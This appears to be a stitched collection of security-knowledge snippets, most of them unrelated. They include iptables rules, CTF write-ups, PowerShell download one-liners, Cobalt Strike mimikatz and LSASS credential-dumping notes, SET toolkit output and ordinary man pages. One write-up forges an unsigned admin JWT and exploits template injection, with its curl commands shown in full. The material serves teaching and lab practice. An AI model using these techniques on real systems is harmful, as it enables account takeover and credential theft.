* POSTROUTING 链(路由后规则)
---
## 配置案例
**关闭端口 4444**
```bash
iptables -A INPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
iptables -L -n # 看一下规则
# 删除INPUT链的第一条规则
iptables -D INPUT 1
# 删除OUTPUT链的第一条规则
iptables -D OUTPUT 1
```
**通过iptables实现ICMP包的过滤**
```bash
iptables -A INPUT -p icmp -j REJECT
iptables -L -n
iptables -D INPUT 1
```
**放开 4444 端口**
```
iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
iptables -L -n
```
**只允许 10.211.55.5 访问本机的 4444 端口**
```bash
iptables -I INPUT -p tcp --dport 4444 -j DROP # 首先拒绝所有
iptables -I INPUT -s 10.211.55.5 -p tcp --dport 4444 -j ACCEPT # 配置单一白名单
iptables -L -n
# 注意这里要用 -I ,不要用 -A ,因为这样规则顺序是不一样的,用 -A 拒绝的条件在前
# 然后删除
iptables -D INPUT 1
iptables -D INPUT 1
```
**只允许 10.211.55.5 访问,其他全部拒绝**
```bash
iptables -A INPUT -s 10.211.55.5 -p tcp -j ACCEPT
iptables -A INPUT -p tcp -j REJECT
iptables -L -n
# 顺序很重要!!!!!,先删除第二条,在删除第一条
iptables -D INPUT 2
iptables -D INPUT 1
```
**只允许 1.14.5.14/1.9.1.9 对 8888 的访问**
```bash
iptables -L
iptables -I INPUT -p tcp --dport 8888 -j DROP
iptables -I INPUT -s 1.14.5.14 -p tcp --dport 8888 -j ACCEPT
iptables -I INPUT -s 1.9.1.9 -p tcp --dport 8888 -j ACCEPT
```
---
## docker 与 firewalld/iptable 的冲突
由于docker在启动容器时,会向iptables注⼊一些端口映射的规则,当使用 firewalld 时会产生冲突
- https://wenku.baidu.com/view/3d8b2fe85cbfc77da26925c52cc58bd6318693c4.html
- https://blog.csdn.net/qq_31927797/article/details/109454314
- https://blog.csdn.net/rookie23rook/article/details/120297212
```bash
iptables -t nat -nL
# 删除对应的 docker 规则
iptables -t nat -D DOCKER 13
# 手动加个转发
iptables -t nat -A DOCKER -d 127.0.0.1 -p tcp -m tcp --dport 19000 -j DNAT --to-destination 192.168.16.2:80
iptables -A INPUT -p tcp --dport 19000 -j DROP
iptables -I INPUT -s 1.14.5.14 -p tcp --dport 19000 -j ACCEPT
iptables -I INPUT -s 1.9.1.9 -p tcp --dport 19000 -j ACCEPT
```
---
## Source & Reference
- https://www.jianshu.com/p/586da7c8fd42
- https://wsgzao.github.io/post/iptables/
- https://blog.csdn.net/weixin_45744814/article/details/121514701
|
sec-knowleage
|
## Android (Reverse, 100p)
> Find the Flag!!
> [Download](Sharif_CTF.apk)
###ENG
[PL](#pl-version)
We download android application given to us by challenge creators.
First think we do is packing it into java decompiler (http://www.javadecompilers.com/apk).
Most of code is boring and uninteresting, but one of functions is clearly more interesting:
```java
public void onClick(View view) {
String str = new String(" ");
str = this.f5a.f1b.getText().toString();
Log.v("EditText", this.f5a.f1b.getText().toString());
String str2 = new String("");
int processObjectArrayFromNative = this.f5a.processObjectArrayFromNative(str);
int IsCorrect = this.f5a.IsCorrect(str);
str = new StringBuilder(String.valueOf(this.f5a.f3d + processObjectArrayFromNative)).append(" ").toString();
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(str.getBytes());
byte[] digest = instance.digest();
StringBuffer stringBuffer = new StringBuffer();
for (byte b : digest) {
stringBuffer.append(Integer.toString((b & 255) + 256, 16).substring(1));
}
if (IsCorrect == 1 && this.f5a.f4e != "unknown") {
this.f5a.f2c.setText("Sharif_CTF(" + stringBuffer.toString() + ")");
}
if (IsCorrect == 1 && this.f5a.f4e == "unknown") {
this.f5a.f2c.setText("Just keep Trying :-)");
}
if (IsCorrect == 0) {
this.f5a.f2c.setText("Just keep Trying :-)");
}
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
```
As you can see, this function gets text from button and uses "IsCorrect" method to check input validity. If input is valid, flag is given to the user.
Fortunately, IsCorrect is native function, so we have to disassemble ARM library to get our hands on the flag.
[libadnjni.so](libadnjni.so)
Function IsCorrect is very long, but most of it is not important. In fact, everything it does is calling strcmp on constant input.
To be precise, input from user is compared to hardcoded string 'ef57f3fe3cf603c03890ee588878c0ec'.
It's enough to enter this string into application as password and we get the flag.
###PL version
Pobieramy androidową aplikację którą dają nam twórcy zadania. Pierwsze co robimy, to pakujemy ją do dekompilera javy (http://www.javadecompilers.com/apk).
Wiekszość kodu to jak zwykle śmieci, ale znajdujemy jedną ciekawą funkcję:
```java
public void onClick(View view) {
String str = new String(" ");
str = this.f5a.f1b.getText().toString();
Log.v("EditText", this.f5a.f1b.getText().toString());
String str2 = new String("");
int processObjectArrayFromNative = this.f5a.processObjectArrayFromNative(str);
int IsCorrect = this.f5a.IsCorrect(str);
str = new StringBuilder(String.valueOf(this.f5a.f3d + processObjectArrayFromNative)).append(" ").toString();
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(str.getBytes());
byte[] digest = instance.digest();
StringBuffer stringBuffer = new StringBuffer();
for (byte b : digest) {
stringBuffer.append(Integer.toString((b & 255) + 256, 16).substring(1));
}
if (IsCorrect == 1 && this.f5a.f4e != "unknown") {
this.f5a.f2c.setText("Sharif_CTF(" + stringBuffer.toString() + ")");
}
if (IsCorrect == 1 && this.f5a.f4e == "unknown") {
this.f5a.f2c.setText("Just keep Trying :-)");
}
if (IsCorrect == 0) {
this.f5a.f2c.setText("Just keep Trying :-)");
}
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
```
Jak widać, jest jest na czymś wywoływana funkcja IsCorrect, i jeśli wywołanie zakończy sie sukcesem, flaga jest przekazywana użytkownikowi.
Niestety (albo na szczęście), IsCorrect jest funkcją natywną, więc żeby ją przeanalizować musimy disasemblować ARMową bibliotekę
[libadnjni.so](libadnjni.so)
Funkcja IsCorrect zawiera bardzo dużo kodu, ale większośc jest niepotrzebna. Tak naprawdę wywołuje tylko strcmp ze stałym napisem.
Konkretnie input użytkownika jest porównywany z 'ef57f3fe3cf603c03890ee588878c0ec'.
Wystarczy wprowadzić tą wartość w aplikacji androidowej, i dostajemy flagę. 100 punktów do przodu.
|
sec-knowleage
|
version: '2'
services:
nginx:
image: nginx:1
volumes:
- ./www:/usr/share/nginx/html
- ./nginx/default.conf:/etc/nginx/conf.d/default.conf
depends_on:
- php
ports:
- "80:80"
- "443:443"
php:
image: php:fpm
command: /bin/sh /var/www/start.sh
volumes:
- ./start.sh:/var/www/start.sh
- ./www:/var/www/html
- ./php-fpm/www-2.conf:/usr/local/etc/php-fpm.d/www-2.conf
|
sec-knowleage
|
自 Windows7 以后内置了 powershell,如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。
**靶机:windows 7**
powershell $PSVersionTable

### down.ps1:
基于System.Net.WebClient


### 附:
```powershell
$Urls = @()
$Urls += "http://192.168.1.115/robots.txt"
$OutPath = "E:\PDF\"
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}
```
**靶机:windows 2012**
powershell $PSVersionTable

### down.ps1:
在 powershell 3.0以后,提供 wget 功能,既 Invoke-WebRequest

`C:\inetpub>powershell C:\inetpub\down.ps1`
注:需要绝对路径。


### 附:
```powershell
$url = "http://192.168.1.115/robots.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
```
**当然也可以一句话执行下载:**
```bash
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')
```

> Micropoor
|
sec-knowleage
|
---
title: SET
categories: Exploitation Tools
tags: [exploitation tools,SET,kali linux]
date: 2020-07-13 11:00:23
---
SET包介绍
----------
Social-Engineer Toolkit是专为社会工程(Social-Engineering)设计的开源渗透测试框架。SET具有许多自定义的攻击向量,使你可以在短时间内进行可信的攻击。
工具来源: https://github.com/trustedsec/social-engineer-toolkit/
[SET主页][1] | [Kali SET仓库][2]
- 作者:David Kennedy, TrustedSec, LLC
- 证书:BSD
SET包中包含的工具
----------
The Social-Engineer Toolkit.
SET用法示例
----------
```
root@kali:~# setoolkit
01011001011011110111010100100000011100
10011001010110000101101100011011000111
10010010000001101000011000010111011001
10010100100000011101000110111100100000
01101101011101010110001101101000001000
00011101000110100101101101011001010010
00000110111101101110001000000111100101
10111101110101011100100010000001101000
01100001011011100110010001110011001000
00001110100010110100101001001000000101
01000110100001100001011011100110101101
11001100100000011001100110111101110010
00100000011101010111001101101001011011
10011001110010000001110100011010000110
01010010000001010011011011110110001101
10100101100001011011000010110101000101
01101110011001110110100101101110011001
01011001010111001000100000010101000110
11110110111101101100011010110110100101
11010000100000001010100110100001110101
011001110111001100101010
[---] 社会工程师工具包 (SET) [---]
[---] 创建人:David Kennedy (ReL1K) [---]
版本: 7.7.9
代号: 'Blackout'
[---] 在Twitter上关注我们。@TrustedSec [---]
[---] 在Twitter上关注我。@HackingDave [---]
[---] 主页:https://www.trustedsec.com [---]
欢迎来到Social-Engineer Toolkit(SET)。
一站式服务,满足您所有的SE需求。
在irc.freenode.net的#setoolkit频道中加入我们。
Social-Engineer Toolkit是TrustedSec的产品。
访问: https://www.trustedsec.com
使用PenTesters框架更新很容易! (PTF)
访问https://github.com/trustedsec/ptf,更新您的所有工具!
从菜单中选择:
1) 社会工程攻击
2)渗透测试(快速通道)
3) 第三方模块
4)更新社会工程师工具包
5)更新SET配置
6) 帮助、积分和关于
99)退出社会工程师工具包。
set>
```
[1]: https://github.com/trustedsec/social-engineer-toolkit/
[2]: https://gitlab.com/kalilinux/packages/set
|
sec-knowleage
|
# Thunderstorm of Hail and Fire
## Description
> > “Then the Lord said to Moses, ‘Stretch out your hand toward heaven, that there may be hail in all the land of Egypt—on man, on beast, and on every herb of the field, throughout the land of Egypt.’ And Moses stretched out his rod toward heaven; and the Lord sent thunder and hail, and fire darted to the ground. And the Lord rained hail on the land of Egypt” (Exodus 9:22-23).
>
> Have you ever wondered what lies beneath the ice? Our application has secrets waiting to be uncovered. Keep a sharp eye and don't be afraid, you may find something that will warm your heart. So grab a hot chocolate and some cookies, and dive into the unknown!
A website was attached.
## Solution
We visit the provided link and arrive to the *Arendelle* website (the kingdom from Disney's *Frozen* series). We can sign up with a username and password, receiving the following cookie in the process:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ curl 'https://arendelle.plagues-of-egypt.com/register' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=test&password=test&password_confirmation=test' -v -s 2>&1 | grep Cookie
< Set-Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoidXNlciIsImNyZWF0ZWRBdCI6MTY4MTI5ODg3OH0.Uyo8lLg_UYGRWmfDFQpPivz3qSO-tJI0UXrzD35fSkI; Path=/
```
Once logged in, we can try to access the "Control Panel" via a link in the header, but it is blocked with the following message:
```
Sadly, you don't have permissions to get here
```
Clearly we need to find a way to access this page. The cookie we received earlier is a Json Web Token (JWT):
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ python3 ~/utils/web/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoidXNlciIsImNyZWF0ZWRBdCI6MTY4MTI5ODg3OH0.Uyo8lLg_UYGRWmfDFQpPivz3qSO-tJI0UXrzD35fSkI
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "HS256"
Token payload values:
[+] username = "test"
[+] role = "user"
[+] createdAt = 1681298878
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
```
We can see that the role is "user", we probably want to change it to "admin". However, the token is signed so we can't just change the value without modifying the signature to match.
The signing algorithm is "HS256" (HMAC with SHA-256), which means that there's some keyphrase that we need to know in order to resign the token.
However, there's a known JWT attack where the attacker changes the algorithm to "none" and therefore doesn't need to resign the token. If the server is vulnerable, it will accept
a token signed with no algorithm at all.
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ python3 ~/utils/web/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoidXNlciIsImNyZWF0ZWRBdCI6MTY4MTI5ODg3OH0.Uyo8lLg_UYGRWmfDFQpPivz3qSO-tJI0UXrzD35fSkI -X a -I -pc role -pv admin
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
jwttool_a901d3da75eeac8790b75d80c075d871 - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjE2ODEyOTg4Nzh9.
jwttool_4f0a93985bcda3eef2b2d64342da9c4c - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjE2ODEyOTg4Nzh9.
jwttool_f514a58b8654c6e971a6a321405c7887 - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjE2ODEyOTg4Nzh9.
jwttool_b8a274d3c19b87b8bdf1cd87ee630598 - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjE2ODEyOTg4Nzh9.
```
We can try it but it doesn't work. Back to the website, let's search for more clues.
In the sources, we can find the following comment:
```html
<!-- TODO: save new users in /logs -->
```
What's this `/logs`?
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ curl https://arendelle.plagues-of-egypt.com/logs
<!DOCTYPE html>
<html lang="en">
<head>
<title>Arendelle</title>
<link rel="icon" href="./static/icon.png" />
</head>
<body>
<pre>
+----------+-------+---------------+
| username | role | createdAt |
+----------+-------+---------------+
| Yogev | user | 1680642000000 |
+----------+-------+---------------+
| Anna | user | 1386280800000 |
+----------+-------+---------------+
| Jordi | user | 1681333200000 |
+----------+-------+---------------+
| Idan | user | 1680642000000 |
+----------+-------+---------------+
| Aviv | user | 1681333200000 |
+----------+-------+---------------+
| Tal | user | 1681333200000 |
+----------+-------+---------------+
| Moses | user | undefined |
+----------+-------+---------------+
| Olaf | user | 1386280800000 |
+----------+-------+---------------+
| Amit | user | 1680642000000 |
+----------+-------+---------------+
| Elsa | admin | 1386280800000 |
+----------+-------+---------------+
| Tomer | user | 1681333200000 |
+----------+-------+---------------+
| Kristoff | user | 1386280800000 |
+----------+-------+---------------+
</pre>
</body>
</html>
```
Interesting, we have "Elsa" there, and she is the admin! We can try and use her data to spoof the JWT:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ python3 ~/utils/web/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJyb2xlIjoidXNlciIsImNyZWF0ZWRBdCI6MTY4MTI5ODg3OH0.Uyo8lLg_UYGRWmfDFQpPivz3qSO-tJI0UXrzD35fSkI -X a -I -pc role -pv admin -pc username -pv Elsa -pc createdAt -pv 1386280800000
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
jwttool_cd8fa79b971c229e37fab44c8a162c03 - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.
jwttool_06f32fcf5e937596242f10cf152bd768 - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.
jwttool_7604e6c944f9def4f693ba9ac91ec839 - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.
jwttool_8bb708abe567ec9bca046b784c743f4d - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.
```
Let's try that:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ curl 'https://arendelle.plagues-of-egypt.com/admin' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.'
<html>
<head>
<title>Arendelle</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css">
<link rel="stylesheet" href="./static/style.css" />
<link rel="icon" href="./static/icon.png">
</head>
<body>
<nav class="navbar" role="navigation" aria-label="main navigation">
<div id="navbar" class="navbar-menu">
<div class="navbar-start">
<a class="navbar-item" href="./"> Arendelle </a>
<a class="navbar-item" href="./home"> Home </a>
<a class="navbar-item has-text-weight-medium" href="./admin"> Control Panel </a>
</div>
</div>
</nav>
<div class="columns">
<section class="column">
<div class="card">
<article class="notification is-success is-light has-text-centered">
Welcome Admin of Arendelle kingdom,
The flag is closer than you think
</article>
</div>
</section>
</div>
<div class="columns is-centered">
<section class="column is-half">
<form action="./admin" method="GET">
<div class="field has-addons">
<div class="control is-expanded">
<input class="input" type="text" name="search" id="search" placeholder="what are you looking for?">
</div>
<div class="control">
<button class="button is-info">
Search
</button>
</div>
</div>
</form>
</section>
</div>
<div class="columns is-centered">
<div>
result: no result
</div>
</div>
</body>
</html>
```
Looks like it worked! The website greets us with `Welcome Admin of Arendelle kingdom` and tells us that `The flag is closer than you think`. The control panel contains a search engine, what should we search for?
After trying different things, we find that the site is vulnerable to a template injection attack. For example, if we search for `{{7*7}}`, we get:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ curl 'https://arendelle.plagues-of-egypt.com/admin?search=%7B%7B7*7%7D%7D' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.' -s | grep result
result: 49
```
We search for `{{flag}}` and receive the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Thunderstorm_of_hail_and_fire]
└─$ curl 'https://arendelle.plagues-of-egypt.com/admin?search=%7B%7Bflag%7D%7D' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGc
iOiJub25lIn0.eyJ1c2VybmFtZSI6IkVsc2EiLCJyb2xlIjoiYWRtaW4iLCJjcmVhdGVkQXQiOjEzODYyODA4MDAwMDB9.' -s | grep result
result: BSMCH{Elsa's_S3cur1ty_M3ltD0wn}
```
The flag: `BSMCH{Elsa's_S3cur1ty_M3ltD0wn}`
|
sec-knowleage
|
pathchk
===
检查文件中不可移植的部分
## 补充说明
**pathchk命令** 用来检查文件中不可移植的部分。
### 语法
```shell
pathchk(选项)(参数)
```
### 选项
```shell
-p:检查大多数的POSIX系统;
-P:检查空名字和“-”开头的文件;
--portability:检查所有的POSIX系统,等同于“-P-p”选项;
--help:显示帮助;
--wersion:显示版本号。
```
### 参数
* 文件:带路径信息的文件;
* 后缀:可选参数,指定要去除的文件后缀字符串。
|
sec-knowleage
|
# 0x00 mimikatz
就是个mimikatz 用法跟网上一样,这个神器就不多多说了抓密码创建票证等等
```
beacon> help mimikatz
Use: mimikatz [module::command] <args>
mimikatz [!module::command] <args>
mimikatz [@module::command] <args>
Runs a mimikatz command.
Use ! to make mimikatz elevate to SYSTEM before it runs your command. Some
commands require this.
Use @ to make mimikatz impersonate Beacon's thread token before it runs your
command. This is helpful for mimikatz commands that interact with remote
systems (e.g., lsadump::dcsync)
```
其中beacon内置的命令 `logonpasswords` 就是mimikatz的 `sekurlsa::logonpasswords full`

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。
# 0x01 hashdump
```
beacon> help hashdump
Use: hashdump
Dump password hashes (Warning: Injects into LSASS)
```

当然我们也可以用 利用procdump把lsass进程的内存文件导出本地,本地mimikatz读取密码,在网上有前辈们总结出来的很多方法,按照情况选择。
到这一章节我们也逐渐向内网迈进了。
获取密码的密码在credentials记录起来
> view > credentials

# 0x02 黄金票据
Cobalt Strike 设置黄金票据其实就是调用的mimikatz
>目标右键 > Access > Golden Ticke
# 0x03 文末
密码搜集是我们内网的重要步骤
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
atrm
===
删除待执行任务队列中的指定任务
## 补充说明
**atrm命令** 用于删除待执行任务队列中的指定任务。
### 语法
```shell
atrm(选项)(参数)
```
### 选项
```shell
-V:显示版本号。
```
### 参数
任务号:指定待执行队列中要删除的任务。
### 实例
删除已经排队的任务
```shell
atq # 显示当前已经设置的任务
2 Mon May 17 08:00:00 2010 a root
1 Sat May 15 17:00:00 2010 a root
atrm 2 # 删除任务2
```
|
sec-knowleage
|
# Reaction
* Category: Web
* 100 Points
* Solved by the JCTF Team
## Description
> Sometimes, stupid things happen while you develop through youtube guides...
>
> URL: https://reaction.ctf.bsidestlv.com/
## Solution
The attached website is implemented in [React](https://en.wikipedia.org/wiki/React_(web_framework)) and contains a login form:

Since there doesn't seem to be anything special about the login form, we dive into the source code. React source code isn't very readable, but we do find a Javascript method which seems worth investigating:
```javascript
var M = function(e) {
Object(u.a)(n, e);
var a = Object(m.a)(n);
function n(e) {
var t;
return Object(i.a)(this, n),
(t = a.call(this, e)).state = {
a: "b",
c: "d",
s: I("DyAcMTImIRkJZwNlZUfkoI9BZUEsHwAuoTk5K2tkMTDmovRusD++")
},
function e() {
(function() {
return !0
}
).constructor(I("MTIvqD++") + I("M2qypt++")).call("action"),
function() {
return !1
}
.constructor(I("MTIvqD++") + I("M2qypt++")).apply("stateObject"),
setTimeout((function() {
e()
}
), 100)
}(),
t
}
return Object(l.a)(n, [{
key: "addTwoNumbers22",
value: function() {
console.log(30)
}
}, {
key: "sumTwoNumbers22",
value: function(e, a) {
var n = e + a;
console.log(n)
}
}, {
key: "sumTwoNumbersAndReturn22",
value: function(e, a) {
return e + a
}
}, {
key: "printFullName22",
value: function(e, a) {
return "".concat(e, " ").concat(a)
}
}, {
key: "square22",
value: function(e) {
return e * e
}
}, {
key: "sumArrayValues22",
value: function(e) {
for (var a = 0, n = 0; n < e.length; n++)
a += q[n];
return a
}
}, {
key: "render",
value: function() {
return r.a.createElement("div", null)
}
}]),
n
}(r.a.Component);
```
This method has a long encoded string which raises some suspicion: `"DyAcMTImIRkJZwNlZUfkoI9BZUEsHwAuoTk5K2tkMTDmovRusD++"`.
We can try to decode it using the Developer Console:

Surprisingly, we get the flag: `BSidesTLV2020{1m_N0t_R3ally_h1dd3n!!}`
|
sec-knowleage
|
# JSTL
---
JSTL全称是JavaServer Pages Tag Library JSP标准标签库
导入 jstl 包
```java
<%@taglib prefix="c" uri="http://java.sun.com/jstl/core" %>
```
* if 标签 ,test 必须属性,接受 boolean 表达式
* choose: 相当于 java 代码的 switch 语句
1. 使用 choose 标签声明 相当于 switch 声明
2. 使用 when 标签做判断 相当于 case
3. 使用 otherwise 标签做其他情况的声明 相当于 default
* foreach: 相当于 java 代码的 for 语句
遍历 list 代码:
```java
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %><%--
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<%@taglib prefix="c" uri="http://java.sun.com/jstl/core" %>
<%
List list = new ArrayList();
list.add("aaa");
list.add("bbb");
list.add("ccc");
request.setAttribute("list",list);
%>
<c:forEach begin="1" end="10" var="i" step="2" varStatus="s">
${i} <h3>${s.index}</h3> <h4> ${s.count} </h4><br>
</c:forEach>
</body>
</html>
```
---
## Source & Reference
- https://www.cnblogs.com/nice0e3/p/13544143.html
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: incr.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: incr.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
